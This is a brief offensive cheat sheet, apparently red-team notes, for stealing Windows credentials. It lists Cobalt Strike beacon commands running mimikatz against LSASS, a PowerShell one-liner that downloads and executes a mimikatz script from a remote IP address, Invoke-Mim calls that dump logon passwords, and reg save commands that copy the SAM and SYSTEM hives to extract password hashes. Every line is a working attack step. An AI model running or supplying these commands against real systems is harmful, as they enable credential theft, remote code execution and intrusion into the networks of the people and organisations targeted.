beacon> net logons
beacon> mimikatz sekurlsa::logonpasswords
beacon> mimikatz sekurlsa::ekeys
# Dump from Memory
IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.128:80/mim.ps1');
Invoke-Mim -Command "privilege::debug sekurlsa::logonpasswords"
Invoke-Mim -DumpCreds
# Dump from SAM Database
reg save HKLM\sam sam
reg save HKLM\system system
Invoke-Mim -Command """lsadump::sam /system:system /sam:sam"""